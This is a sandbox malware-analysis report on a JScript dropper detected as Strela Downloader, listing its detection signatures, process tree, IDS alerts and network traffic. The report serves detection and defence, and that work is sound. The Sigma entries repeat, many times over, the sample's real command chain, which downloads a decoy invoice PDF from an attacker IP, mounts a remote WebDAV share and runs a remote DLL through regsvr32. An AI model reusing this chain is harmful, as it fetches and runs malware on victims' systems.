Edit tour

Windows Analysis Report
125141699249677575.js

Overview

General Information

Sample name:	125141699249677575.js
Analysis ID:	1587920
MD5:	c0309faa01e29a9517f4d10dec9ca866
SHA1:	2f55e9aa19a5014346cbdac4eaf0fb3b7c5eafaa
SHA256:	2fc7a2167f399522c28f30a4bfd02966c904eff8c585eb57ab1dd80ae08fa087
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 6408 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\125141699249677575.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 1360 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8117104914610.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5588 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 2876 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 6428 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 6548 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7224 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2168 --field-trial-handle=1740,i,5342693531046197843,1338916335047882724,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 2276 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 5988 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 5080 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 6408	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8117104914610.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1360, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2876, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8117104914610.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1360, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2876, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\125141699249677575.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\125141699249677575.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\125141699249677575.js", ProcessId: 6408, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 5988, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8117104914610.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8117104914610.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\125141699249677575.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6408, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8117104914610.dll, ProcessId: 1360, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8117104914610.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8117104914610.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\125141699249677575.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6408, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8117104914610.dll, ProcessId: 1360, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8117104914610.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8117104914610.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\125141699249677575.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6408, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8117104914610.dll, ProcessId: 1360, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8117104914610.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8117104914610.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\125141699249677575.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6408, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8117104914610.dll, ProcessId: 1360, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8117104914610.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8117104914610.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\125141699249677575.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6408, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8117104914610.dll, ProcessId: 1360, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\125141699249677575.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\125141699249677575.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\125141699249677575.js", ProcessId: 6408, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8117104914610.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1360, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2876, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2276, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5988, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 5080, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2276, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5988, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8117104914610.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8117104914610.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\125141699249677575.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6408, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8117104914610.dll, ProcessId: 1360, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T19:26:29.532091+0100	1810005	1	Potentially Bad Traffic	192.168.2.5	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T19:26:26.706769+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 125141699249677575.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 125141699249677575.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.5:49705 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 18:26:26 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: global traffic

TCP traffic: 192.168.2.5:49705 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49704 -> 193.143.1.205:80

Source: global traffic

